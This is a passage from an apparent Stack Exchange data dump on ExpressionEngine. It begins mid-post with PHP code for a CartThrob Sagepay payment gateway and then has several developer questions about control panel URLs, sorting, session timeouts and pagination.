$this-&amp;gt;lang('sage_s_notification_url_too_long'),&#xA;             'failed'           =&amp;gt;  TRUE,&#xA;             'declined'         =&amp;gt;  FALSE,&#xA;             'transaction_id'   =&amp;gt;  NULL,&#xA;            );&#xA;        return $resp; &#xA;    }&#xA;&#xA;    // We don't want to pass the state data to eWay unless it has 2 characters and is a us state. They don't accept any non-us state values&#xA;    if (&quot;US&quot; != $post_array['DeliveryCountry'])&#xA;    {&#xA;        $post_array['DeliveryState']  = &quot;&quot;;&#xA;    }&#xA;    else&#xA;    {&#xA;        $post_array['DeliveryState'] = strtoupper($this-&amp;gt;order('shipping_state') ? $this-&amp;gt;order('shipping_state') : $this-&amp;gt;order('state'));&#xA;    }&#xA;    if (&quot;US&quot; != $post_array['BillingCountry'])&#xA;    {&#xA;        $post_array['BillingState']  = &quot;&quot;; &#xA;    }&#xA;    else&#xA;    {&#xA;        $post_array['BillingState'] = strtoupper($this-&amp;gt;order('state')); &#xA;    }&#xA;&#xA;    $post_array['Profile']  = $this-&amp;gt;plugin_settings('profile'); &#xA;&#xA;    $data =     $this-&amp;gt;data_array_to_string($post_array);&#xA;&#xA;    $connect =  $this-&amp;gt;curl_transaction($this-&amp;gt;_host,$data); &#xA;&#xA;&#xA;    if (!$connect)&#xA;    {&#xA;        $auth['failed']         = TRUE;&#xA;        $auth['authorized']     = FALSE;&#xA;        $auth['declined']       = FALSE;&#xA;        $auth['error_message']  = $this-&amp;gt;lang('curl_gateway_failure'); &#xA;        return $auth; &#xA;    }&#xA;&#xA;    $transaction =  $this-&amp;gt;split_url_string($connect, &quot;\r\n&quot;);&#xA;    $next_url = explode(&quot;NextURL=&quot;, $connect);&#xA;&#xA;    if (!empty($next_url[1]))&#xA;    {&#xA;        $next_url = str_replace(&quot;\r\n&quot;,&quot;&quot;,$next_url[1]);&#xA;    }&#xA;&#xA;    if (!is_array($transaction))&#xA;    {&#xA;        $auth['failed']         = TRUE;&#xA;        $auth['authorized']     = FALSE;&#xA;        $auth['declined']       = FALSE;&#xA;        $auth['error_message']  = $this-&amp;gt;lang('sage_failed');&#xA;&#xA;        return $auth;&#xA;    }&#xA;&#xA;    if (&quot;OK&quot; != strtoupper($transaction['Status']))&#xA;    {&#xA;        switch(strtoupper($transaction['Status']))&#xA;        {&#xA;            case &quot;MALFORMED&quot;:&#xA;                $auth['error_message'] = $this-&amp;gt;lang('sage_malformed'); &#xA;                $auth['error_message'] .= $transaction['StatusDetail']; &#xA;                break; &#xA;            case &quot;INVALID&quot;:&#xA;                $auth['error_message'] = $this-&amp;gt;lang('sage_invalid');&#xA;                $auth['error_message'] .= $transaction['StatusDetail']; &#xA;                break;&#xA;            case &quot;ERROR&quot;:&#xA;                $auth['error_message'] = $this-&amp;gt;lang('sage_error');&#xA;                break;&#xA;            default:&#xA;                $auth['error_message'] = $this-&amp;gt;lang('sage_default');&#xA;        }&#xA;&#xA;        $auth['failed']         = TRUE;&#xA;        $auth['authorized']     = FALSE;&#xA;        $auth['declined']       = FALSE;&#xA;        $auth['transaction_id'] = NULL; &#xA;        return $auth; &#xA;    }&#xA;&#xA;    $this-&amp;gt;update_order(array('sage_key' =&amp;gt; $transaction['SecurityKey']));&#xA;    $this-&amp;gt;gateway_exit_offsite(NULL, $next_url); exit;&#xA;}&#xA;public function charge_token($token, $customer_id)&#xA;{&#xA;    $resp = array(&#xA;         'authorized'       =&amp;gt;  FALSE,&#xA;         'error_message'    =&amp;gt;  NULL,&#xA;         'failed'           =&amp;gt;  TRUE,&#xA;         'declined'         =&amp;gt;  FALSE,&#xA;         'transaction_id'   =&amp;gt;  NULL,&#xA;        );&#xA;&#xA;    switch ($this-&amp;gt;order('card_type'))&#xA;    {&#xA;        case &quot;mc&quot;: &#xA;            $card_type=&quot;MC&quot;; &#xA;            break;&#xA;        case 'visa': &#xA;            $card_type=&quot;VISA&quot;; &#xA;            break;&#xA;        case 'amex': &#xA;            $card_type=&quot;AMEX&quot;; &#xA;            break;&#xA;        case 'maestro': &#xA;            $card_type=&quot;MAESTRO&quot;; &#xA;            break;&#xA;        case 'solo': &#xA;            $card_type=&quot;SOLO&quot;; &#xA;            break;&#xA;        case 'delta': &#xA;            $card_type=&quot;DELTA&quot;; &#xA;            break;&#xA;        default: $card_type=&quot;VISA&quot;;  &#xA;    }&#xA;    $basket=&quot;&quot;; &#xA;&#xA;    if ($this-&amp;gt;order('items'))&#xA;    {&#xA;        $basket = (count($this-&amp;gt;order('items'))+2).&quot;:&quot;; &#xA;&#xA;        foreach ($this-&amp;gt;order('items') as $row_id =&amp;gt; $item)&#xA;        {&#xA;&#xA;            $basket .= $item['title'] .&quot;:&quot;;&#xA;            $basket .= $item['quantity'] .&quot;:&quot;;&#xA;            $basket .= number_format($item['price'],2,'.','').&quot;:&quot;;&#xA;            $basket .= &quot;:&quot;;&#xA;            $basket .= number_format($item['price'],2,'.','').&quot;:&quot;;&#xA;            $basket .= number_format(($item['price']*$item['quantity']),2,'.','').&quot;:&quot;;&#xA;&#xA;        }&#xA;        $basket .= 'Shipping:----:----:----:----:';&#xA;        $basket .= number_format($this-&amp;gt;order('shipping'), 2, '.', '').&quot;:&quot;;&#xA;        $basket .= 'VAT/Tax:----:----:----:----:';&#xA;        $basket .= number_format($this-&amp;gt;order('tax'), 2, '.', '');&#xA;    }&#xA;&#xA;    $post_array = array(&#xA;        'VPSProtocol'               =&amp;gt; &quot;3.00&quot;,&#xA;        'TxType'                    =&amp;gt; 'PAYMENT',&#xA;        'Vendor'                    =&amp;gt; $this-&amp;gt;plugin_settings('vendor_name'),&#xA;        'VendorTxCode'              =&amp;gt; $this-&amp;gt;order('entry_id').&quot;_&quot;.time(),&#xA;        'Amount'                    =&amp;gt; number_format($this-&amp;gt;order('total'),2,'.',''),&#xA;        'Currency'                  =&amp;gt; ( $this-&amp;gt;order('currency_code')?  $this-&amp;gt;order('currency_code') : &quot;GBP&quot;),  &#xA;        'Description'               =&amp;gt;  ($this-&amp;gt;order('description') ? $this-&amp;gt;order('description') : &quot;Purchase from &quot;.$this-&amp;gt;order('site_name')),&#xA;        'Token'                     =&amp;gt; $token,&#xA;        'StoreToken'                =&amp;gt; 1,&#xA;        'BillingSurname'            =&amp;gt; $this-&amp;gt;order('last_name'),&#xA;        'BillingFirstnames'         =&amp;gt; $this-&amp;gt;order('first_name'),&#xA;        'BillingAddress1'           =&amp;gt; $this-&amp;gt;order('address'),&#xA;        'BillingAddress2'           =&amp;gt; $this-&amp;gt;order('address2'),&#xA;        'BillingCity'               =&amp;gt; $this-&amp;gt;order('city'),&#xA;        'BillingPostCode'           =&amp;gt; $this-&amp;gt;order('zip'),&#xA;        'BillingCountry'            =&amp;gt; $this-&amp;gt;alpha2_country_code($this-&amp;gt;order('country_code')),&#xA;        'BillingPhone'              =&amp;gt; preg_replace('/[^0-9-]/', '', $this-&amp;gt;order('phone')),&#xA;        'DeliverySurname'           =&amp;gt; ($this-&amp;gt;order('shipping_last_name') ? $this-&amp;gt;order('shipping_last_name') : $this-&amp;gt;order('last_name')),&#xA;        'DeliveryFirstnames'        =&amp;gt; ($this-&amp;gt;order('shipping_first_name') ? $this-&amp;gt;order('shipping_first_name') : $this-&amp;gt;order('first_name')),&#xA;        'DeliveryAddress1'          =&amp;gt; ($this-&amp;gt;order('shipping_address') ? $this-&amp;gt;order('shipping_address') : $this-&amp;gt;order('address')),&#xA;        'DeliveryAddress2'          =&amp;gt; ($this-&amp;gt;order('shipping_address2') ? $this-&amp;gt;order('shipping_address2') : $this-&amp;gt;order('address2')),&#xA;        'DeliveryCity'              =&amp;gt; ($this-&amp;gt;order('shipping_city') ? $this-&amp;gt;order('shipping_city') : $this-&amp;gt;order('city')),&#xA;        'DeliveryPostCode'          =&amp;gt; ($this-&amp;gt;order('shipping_zip') ? $this-&amp;gt;order('shipping_zip') : $this-&amp;gt;order('zip')),&#xA;        'DeliveryCountry'           =&amp;gt; ($this-&amp;gt;order('shipping_country_code') ? $this-&amp;gt;alpha2_country_code($this-&amp;gt;order('shipping_country_code')) : $this-&amp;gt;alpha2_country_code($this-&amp;gt;order('country_code'))),&#xA;        'CustomerEMail'             =&amp;gt; $this-&amp;gt;order('email_address'),&#xA;        'Basket'                    =&amp;gt; $basket,&#xA;        'Apply3DSecure'             =&amp;gt; 0,&#xA;    );  &#xA;    // We don't want to pass the state data to Sage unless it has 2 characters and is a us state. They don't accept any non-us state values&#xA;    if (&quot;US&quot; != $post_array['DeliveryCountry'])&#xA;    {&#xA;        $post_array['DeliveryState']  = &quot;&quot;;&#xA;    }&#xA;    else&#xA;    {&#xA;        $post_array['DeliveryState'] = strtoupper($this-&amp;gt;order('shipping_state'));&#xA;    }&#xA;    if (&quot;US&quot; != $post_array['BillingCountry'])&#xA;    {&#xA;        $post_array['BillingState']  = &quot;&quot;; &#xA;    }&#xA;    else&#xA;    {&#xA;        $post_array['BillingState'] = strtoupper($this-&amp;gt;order('state')); &#xA;    }&#xA;&#xA;    $data =     $this-&amp;gt;data_array_to_string($post_array);&#xA;    $connect =  $this-&amp;gt;curl_transaction($this-&amp;gt;tokenrebillhost,$data); &#xA;&#xA;    if (!$connect)&#xA;    {&#xA;        $resp['failed']         = TRUE;&#xA;        $resp['authorized']     = FALSE;&#xA;        $resp['declined']       = FALSE;&#xA;        $resp['error_message']  = $this-&amp;gt;lang('curl_gateway_failure'); &#xA;&#xA;        return $resp; &#xA;    }   &#xA;&#xA;    $transaction = $this-&amp;gt;sage_string_split($connect); &#xA;&#xA;    if (!empty($transaction['Status']))&#xA;    {&#xA;        if (&quot;OK&quot; == strtoupper($transaction['Status']))&#xA;        {&#xA;            $resp = array(&#xA;                 'authorized'       =&amp;gt;  TRUE,&#xA;                 'error_message'    =&amp;gt;  NULL,&#xA;                 'failed'           =&amp;gt;  FALSE,&#xA;                 'declined'         =&amp;gt;  FALSE,&#xA;                 'transaction_id'   =&amp;gt;  trim($transaction['VPSTxId'], &quot;{}&quot;)&#xA;                );&#xA;        }&#xA;        else&#xA;        {&#xA;            switch(strtoupper($transaction['Status']))&#xA;            {&#xA;                case &quot;MALFORMED&quot;:&#xA;                $error_message = $this-&amp;gt;lang('sage_malformed'); &#xA;                $error_message .= $transaction['StatusDetail']; &#xA;                break; &#xA;                case &quot;INVALID&quot;:&#xA;                $error_message = $this-&amp;gt;lang('sage_invalid');&#xA;                $error_message .= $transaction['StatusDetail']; &#xA;                break;&#xA;                case &quot;ABORT&quot;:&#xA;                $error_message = $this-&amp;gt;lang('transaction_cancelled');&#xA;                break;&#xA;                case &quot;NOTAUTHED&quot;:&#xA;                $error_message = $this-&amp;gt;lang('sage_notauthed');&#xA;                break; &#xA;                case &quot;REJECTED&quot;: &#xA;                $error_message = $this-&amp;gt;lang('sage_rejected'); &#xA;                break; &#xA;                case &quot;PPREDIRECT&quot;:&#xA;                $error_message = $this-&amp;gt;lang('sage_ppredirect');&#xA;                break;&#xA;                case &quot;AUTHENTICATED&quot;:&#xA;                $error_message = $this-&amp;gt;lang('sage_authenticated');&#xA;                break;&#xA;                case &quot;REGISTERED&quot;:&#xA;                $error_message = $this-&amp;gt;lang('sage_registered');&#xA;                break;&#xA;                case &quot;ERROR&quot;:&#xA;                $error_message = $this-&amp;gt;lang('sage_error');&#xA;                break;&#xA;                case &quot;ATTEMPTED&quot;:&#xA;                $error_message =  $this-&amp;gt;lang('sage_error').&quot;; ATTEMPTED&quot;; //$this-&amp;gt;lang('sage_ATTEMPTED');&#xA;                break;&#xA;                case &quot;NOTAVAILABLE&quot;:&#xA;                $error_message = $this-&amp;gt;lang('sage_error').&quot;; NOTAVAILABLE&quot;;  //$this-&amp;gt;lang('sage_NOTAVAILABLE');&#xA;                break;&#xA;                case &quot;INCOMPLETE&quot;:&#xA;                $error_message = $this-&amp;gt;lang('sage_error').&quot;; INCOMPLETE&quot;; //$this-&amp;gt;lang('sage_INCOMPLETE');&#xA;                break;&#xA;                default:&#xA;                $error_message = $this-&amp;gt;lang('sage_default');&#xA;            }&#xA;&#xA;            $resp = array(&#xA;                 'authorized'       =&amp;gt;  FALSE,&#xA;                 'error_message'    =&amp;gt;  $error_message,&#xA;                 'failed'           =&amp;gt;  TRUE,&#xA;                 'declined'         =&amp;gt;  FALSE,&#xA;                 'transaction_id'   =&amp;gt;  NULL&#xA;                );&#xA;        }&#xA;    }&#xA;    return $resp;&#xA;}&#xA;&#xA;public function create_token($credit_card_number)&#xA;{&#xA;    $post_array = array(&#xA;        'VPSProtocol'               =&amp;gt; &quot;3.00&quot;,&#xA;        'TxType'                    =&amp;gt; 'TOKEN',&#xA;        'Vendor'                    =&amp;gt; $this-&amp;gt;plugin_settings('vendor_name'),&#xA;        'Currency'                  =&amp;gt; ( $this-&amp;gt;order('currency_code')?  $this-&amp;gt;order('currency_code') : &quot;GBP&quot;),  &#xA;        'NotificationURL'           =&amp;gt; $this-&amp;gt;response_script(ucfirst(get_class($this)), array('create_token')),  &#xA;        'Profile'                     =&amp;gt; $this-&amp;gt;plugin_settings('profile'),&#xA;    );  &#xA;&#xA;    $data =     $this-&amp;gt;data_array_to_string($post_array);&#xA;&#xA;    $connect =  $this-&amp;gt;curl_transaction($this-&amp;gt;tokenhost,$data); &#xA;&#xA;    if (!$connect)&#xA;    {&#xA;        $auth['failed']         = TRUE;&#xA;        $auth['authorized']     = FALSE;&#xA;        $auth['declined']       = FALSE;&#xA;        $auth['error_message']  = $this-&amp;gt;lang('curl_gateway_failure'); &#xA;        return $auth; &#xA;    }&#xA;&#xA;    $transaction =  $this-&amp;gt;split_url_string($connect, &quot;\r\n&quot;);&#xA;    $next_url = explode(&quot;NextURL=&quot;, $connect);&#xA;&#xA;    if (!empty($next_url[1]))&#xA;    {&#xA;        $next_url = str_replace(&quot;\r\n&quot;,&quot;&quot;,$next_url[1]);&#xA;    }&#xA;&#xA;    if (!is_array($transaction))&#xA;    {&#xA;        $auth['failed']         = TRUE;&#xA;        $auth['authorized']     = FALSE;&#xA;        $auth['declined']       = FALSE;&#xA;        $auth['error_message']  = $this-&amp;gt;lang('sage_failed');&#xA;&#xA;        return $auth;&#xA;    }&#xA;&#xA;    if (&quot;OK&quot; != strtoupper($transaction['Status']))&#xA;    {&#xA;        switch(strtoupper($transaction['Status']))&#xA;        {&#xA;            case &quot;MALFORMED&quot;:&#xA;                $auth['error_message'] = $this-&amp;gt;lang('sage_malformed'); &#xA;                $auth['error_message'] .= $transaction['StatusDetail']; &#xA;                break; &#xA;            case &quot;INVALID&quot;:&#xA;                $auth['error_message'] = $this-&amp;gt;lang('sage_invalid');&#xA;                $auth['error_message'] .= $transaction['StatusDetail']; &#xA;                break;&#xA;            case &quot;ERROR&quot;:&#xA;                $auth['error_message'] = $this-&amp;gt;lang('sage_error');&#xA;                break;&#xA;            default:&#xA;                $auth['error_message'] = $this-&amp;gt;lang('sage_default');&#xA;        }&#xA;&#xA;        $auth['failed']         = TRUE;&#xA;        $auth['authorized']     = FALSE;&#xA;        $auth['declined']       = FALSE;&#xA;        $auth['transaction_id'] = NULL; &#xA;        return $auth; &#xA;    }&#xA;&#xA;    $this-&amp;gt;update_order(array('sage_key' =&amp;gt; $transaction['SecurityKey']));&#xA;    $this-&amp;gt;gateway_exit_offsite(NULL, $next_url); exit;&#xA;}&#xA;&#xA;/**&#xA; * payment_notification&#xA; *&#xA; * @return void&#xA; * @author Chris Newton&#xA; * @since 1.0&#xA; **/&#xA;function extload($post)&#xA;{&#xA;    $auth['authorized']     =   FALSE; &#xA;    $auth['declined']       =   FALSE; &#xA;    $auth['failed']         =   TRUE; &#xA;    $auth['error_message']  =   NULL; &#xA;    $auth['transaction_id'] =   NULL;&#xA;&#xA;&#xA;    if (!empty($post['VendorTxCode']))&#xA;    {&#xA;        list($order_id) = explode(&quot;_&quot;, $post['VendorTxCode']); &#xA;&#xA;        $this-&amp;gt;relaunch_cart(NULL, $order_id);  &#xA;    }&#xA;    else&#xA;    {&#xA;        die($this-&amp;gt;lang('sage_default')); &#xA;    }&#xA;&#xA;    if (strpos( $this-&amp;gt;order('return'), 'http') === 0)&#xA;    {&#xA;        $return_url =  $this-&amp;gt;order('return'); &#xA;    }&#xA;    else&#xA;    {&#xA;        $return_url = $this-&amp;gt;create_url($this-&amp;gt;order('return'));&#xA;    }&#xA;&#xA;&#xA;    if (&quot;OK&quot; == strtoupper($post['Status']))&#xA;    {&#xA;        $tmp = array(&#xA;            'VPSTxId'           =&amp;gt;  $post['VPSTxId'],&#xA;            'VendorTxCode'      =&amp;gt;  $post['VendorTxCode'],&#xA;            'Status'            =&amp;gt;  $post['Status'],&#xA;            'TxAuthNo'          =&amp;gt;  $post['TxAuthNo'],&#xA;            'BankAuthCode'      =&amp;gt;  $post['BankAuthCode'],&#xA;            'DeclineCode'       =&amp;gt;  $post['DeclineCode'],&#xA;            'ExpiryDate'            =&amp;gt;  $post['ExpiryDate'],&#xA;            'FraudResponse'     =&amp;gt;  $post['FraudResponse'],&#xA;            'VendorName'        =&amp;gt;  strtolower($this-&amp;gt;plugin_settings('vendor_name')),&#xA;            'AVSCV2'            =&amp;gt;  $post['AVSCV2'],&#xA;            'SecurityKey'       =&amp;gt;  $this-&amp;gt;order('sage_key'),&#xA;            'AddressResult'     =&amp;gt;  $post['AddressResult'],&#xA;            'PostCodeResult'    =&amp;gt;  $post['PostCodeResult'],&#xA;            'CV2Result'         =&amp;gt;  $post['CV2Result'],&#xA;            'GiftAid'           =&amp;gt;  $post['GiftAid'],&#xA;            '3DSecureStatus'    =&amp;gt;  $post['3DSecureStatus'],&#xA;            'CAVV'              =&amp;gt;  (!empty($post['CAVV'])?$post['CAVV']: &quot;&quot;),&#xA;            'AddressStatus'     =&amp;gt;  (!empty($post['AddressStatus'])?$post['AddressStatus']: &quot;&quot;),&#xA;            'PayerStatus'       =&amp;gt;  (!empty($post['PayerStatus'])?$post['PayerStatus']: &quot;&quot;),&#xA;            'CardType'          =&amp;gt;  $post['CardType'],&#xA;            'Last4Digits'       =&amp;gt;  $post['Last4Digits']&#xA;            ); &#xA;&#xA;        if (empty($tmp['AddressStatus']))&#xA;        {&#xA;            unset ($tmp['AddressStatus']);&#xA;            unset ($tmp['PayerStatus']); &#xA;        }&#xA;&#xA;        $md5 = implode(&quot;&quot;,$tmp);&#xA;&#xA;        $md5hash = strtoupper(md5($md5));&#xA;        if (!empty($post['ct_action']) &amp;amp;&amp;amp; $post['ct_action'] == &quot;create_token&quot;)&#xA;        {   &#xA;            $tmp = array(&#xA;                'VPSTxId'           =&amp;gt;  $post['VPSTxId'],&#xA;                'VendorTxCode'      =&amp;gt;  $post['VendorTxCode'],&#xA;                'Status'            =&amp;gt;  $post['Status'],&#xA;                'VendorName'        =&amp;gt;  &quot;eqvvs&quot;,&#xA;                'SecurityKey'       =&amp;gt;  $this-&amp;gt;order('sage_key'),&#xA;                'Token'             =&amp;gt;  $post['Token']&#xA;                ); &#xA;&#xA;            $md5 = implode(&quot;&quot;,$tmp);&#xA;&#xA;            $md5hash = strtoupper(md5($md5));&#xA;        }&#xA;&#xA;&#xA;        if ($md5hash != strtoupper($post['VPSSignature']))&#xA;        {&#xA;            $auth['authorized']     =   FALSE; &#xA;            $auth['declined']       =   FALSE; &#xA;            $auth['failed']         =   TRUE; &#xA;            $auth['error_message']  =   $this-&amp;gt;lang('sage_signature_not_valid'); &#xA;            $auth['transaction_id'] =   NULL;&#xA;&#xA;            $this-&amp;gt;checkout_complete_offsite($auth, $order_id, 'stop_processing'); &#xA;            // SAGE requires that we output this stuff. &#xA;            @ob_clean();&#xA;            header(&quot;Content-type: text/plain&quot;);&#xA;            echo &quot;Status=INVALID\r\n&quot;;&#xA;            echo &quot;RedirectURL=&quot;.$return_url.&quot;\r\n&quot;;&#xA;            @ob_flush();&#xA;            exit; &#xA;        }&#xA;        $auth['authorized']     =   TRUE; &#xA;        $auth['declined']       =   FALSE; &#xA;        $auth['failed']         =   FALSE; &#xA;        $auth['error_message']  =   NULL; &#xA;        $auth['transaction_id'] =   trim($post['VPSTxId'], &quot;{}&quot;); &#xA;        // &quot;Auth:&quot;.$post['TxAuthNo'].&quot;_Tx:&quot;.$post['VPSTxId'].&quot;_Vnd:&quot;.$post['VendorTxCode'].&quot;_Sec:&quot;.$_SESSION['cartthrob']['sage_key'];&#xA;&#xA;        if (!empty($post['ct_action']) &amp;amp;&amp;amp; $post['ct_action'] == &quot;create_token&quot;)&#xA;        {&#xA;            $token = new Cartthrob_token();&#xA;            $token-&amp;gt;set_token( $post['Token'] ); &#xA;            exit; &#xA;        }&#xA;        $this-&amp;gt;checkout_complete_offsite($auth, $order_id, 'stop_processing'); &#xA;        // SAGE requires that we output this stuff. &#xA;        @ob_clean();&#xA;        header(&quot;Content-type: text/plain&quot;);&#xA;        echo &quot;Status=OK\r\n&quot;;&#xA;        echo &quot;RedirectURL=&quot;.$return_url.&quot;\r\n&quot;;&#xA;        @ob_flush();&#xA;        exit;&#xA;    }&#xA;    else&#xA;    {&#xA;        $status = NULL; &#xA;        $redirect_url = NULL; &#xA;        switch(strtoupper($post['Status']))&#xA;        {&#xA;            case &quot;NOTAUTHED&quot;:&#xA;                $auth['error_message'] = $this-&amp;gt;lang('sage_notauthed');&#xA;                $status = &quot;Status=OK\r\n&quot;;&#xA;                break; &#xA;            case &quot;ABORT&quot;:&#xA;                $auth['error_message'] =  $this-&amp;gt;lang('transaction_cancelled');  &#xA;                $status = &quot;Status=OK\r\n&quot;;&#xA;                $redirect_url = &quot;RedirectURL=&quot;.$return_url.&quot;\r\n&quot;;&#xA;&#xA;                $this-&amp;gt;set_status_canceled($auth, $this-&amp;gt;order('entry_id'),  FALSE);    &#xA;                $this-&amp;gt;save_cart();&#xA;&#xA;                // but need to handle canceled as well.&#xA;                $auth['canceled'] = TRUE; &#xA;                break;&#xA;            case &quot;REJECTED&quot;: &#xA;                $auth['error_message'] =  $this-&amp;gt;lang('sage_rejected'); &#xA;                $auth['declined']       =   TRUE; &#xA;                $status =  &quot;Status=INVALID\r\n&quot;;&#xA;                break; &#xA;            case &quot;AUTHENTICATED&quot;:&#xA;                $auth['error_message'] = $this-&amp;gt;lang('sage_authenticated');&#xA;                $status =  &quot;Status=OK\r\n&quot;;&#xA;                break;&#xA;            case &quot;REGISTERED&quot;:&#xA;                $auth['error_message'] =  $this-&amp;gt;lang('sage_registered');&#xA;                $status = &quot;Status=OK\r\n&quot;;&#xA;                break;&#xA;            case &quot;ERROR&quot;:&#xA;                $auth['error_message'] = $this-&amp;gt;lang('sage_error');&#xA;                $status = &quot;Status=INVALID\r\n&quot;;&#xA;                break;&#xA;            default:&#xA;                $auth['error_message'] =  $this-&amp;gt;lang('sage_default');&#xA;        $auth['authorized']     =   FALSE; &#xA;        $auth['transaction_id'] =   NULL;&#xA;        }&#xA;&#xA;        if (!empty($post['ct_action']) &amp;amp;&amp;amp; $post['ct_action'] == &quot;create_token&quot;)&#xA;        {&#xA;            $token = new Cartthrob_token();&#xA;            $token-&amp;gt;set_error_message( $auth['error_message']  );&#xA;            exit; &#xA;        }&#xA;&#xA;&#xA;        $this-&amp;gt;checkout_complete_offsite($auth, $order_id, 'stop_processing'); &#xA;        @ob_clean();&#xA;        header(&quot;Content-type: text/plain&quot;);&#xA;        if ($status)&#xA;        {&#xA;            echo $status; &#xA;        }&#xA;        else&#xA;        {&#xA;            echo &quot;Status=INVALID\r\n&quot;;&#xA;        }&#xA;        if ($redirect_url)&#xA;        {&#xA;            echo $redirect_url; &#xA;        }&#xA;        else&#xA;        {&#xA;            echo &quot;RedirectURL=&quot;.$return_url.&quot;\r\n&quot;;&#xA;        }&#xA;        // SAGE requires that we output this stuff. &#xA;        @ob_flush();&#xA;        exit;       &#xA;    }&#xA;} }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6059" LastActivityDate="2015-03-05T10:38:29.700" Title="Sagepay Protocol 3.00 - upgrading cartthrob gateway" Tags="|ee2|cartthrob|error|payment-gateway|sagepay|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30107" PostTypeId="1" AcceptedAnswerId="30115" CreationDate="2015-02-19T16:10:57.880" Score="1" ViewCount="741" Body="&lt;p&gt;We recently changed the URL for an EE site currently in development.  We changed the URL entries on the General Configuration page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We found that we could not change these entries on the General Configuration page, but could do so via the Edit Config page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These changes are now being reflected in the General Configuration page, but the Control Panel is still trying to open pages on the old URL.  This is OK after a fashion (the old URL is aliased to the new one), but is causing EE to throw CORS errors for some plug-ins (in particular Assets).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how I can coerce EE into recognising the new URL to the Control Panel index page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using a simple installation of EE 2.9.2 (not MSM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for whatever help you can provide.&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2015-02-19T18:28:26.273" Title="Control Panel base url not updating... how to fix?" Tags="|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30108" PostTypeId="1" CreationDate="2015-02-19T16:31:08.440" Score="0" ViewCount="26" Body="&lt;p&gt;I need to sort entries numerically on a specific field (which might include text strings) and force all the entries with a text (not integer) appearing in that field to the end of the result set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. with a data set like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;na, 789, 123, 456&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would want the sort by on channel:entries to return:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;123, 456, 789, na&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking this is completely impossible without some kind of extension but... :?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-02-19T16:31:08.440" Title="sort entries numerically with letters last" Tags="|channel-entries|sort|sorting|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30109" PostTypeId="1" CreationDate="2015-02-19T17:14:08.937" Score="1" ViewCount="611" Body="&lt;p&gt;I’ve found many threads both here and elsewhere on session timeout in the CP, however I’ve yet to see a solution that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my clients is complaining that the timeout is too short, and so far I haven’t been able to extend (preferably indefinitely) it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve also tried with both session and cookies, session only, cookies only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help with this issue on 2.9.2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2015-02-19T22:13:52.417" Title="2.9.2 CP Session Timeout - Is there no solution?" Tags="|control-panel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30110" PostTypeId="1" AcceptedAnswerId="30120" CreationDate="2015-02-19T17:19:21.027" Score="0" ViewCount="146" Body="&lt;p&gt;I have some modules on a site that basically functions as ORMs and one as a search engine for those ORMs. The problem I'm currently running into is that when a search term is submitted, it gets double urlencoded, and looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;submitted term: &quot;Boston +New&quot;&#xA;encoded url: &quot;site.com/search/Boston%2B%252BNew&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is correct, and allows me to safely pass these terms through a giant search module. It also allows me to decode one step safely in the module and do searches in BOOLEAN MODE so users can use a few specials affect characters (the + in front of New puts extra weight on that word being in the match-against).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all fine. However, using EE's standard pagination tool, it outputs the url links in this manner:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pagination_url: &quot;site.com/search/Boston+%2BNew/P20&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so when you go to any other page, the search term isn't what you searched for. I'm looking for a simpler solution than using regex to pull apart the pagination_url, mangle it, and put it back together. Is there a way to get just the pagination top segment (ie, P10, P20)? Then I can just put the url together with the segment var, ie&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site.com/search/{segment_2}/{page_path}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or any other suggestions?&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-03-30T06:58:06.087" LastActivityDate="2015-03-30T06:58:06.087" Title="Pagination URL encoding" Tags="|pagination|encode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
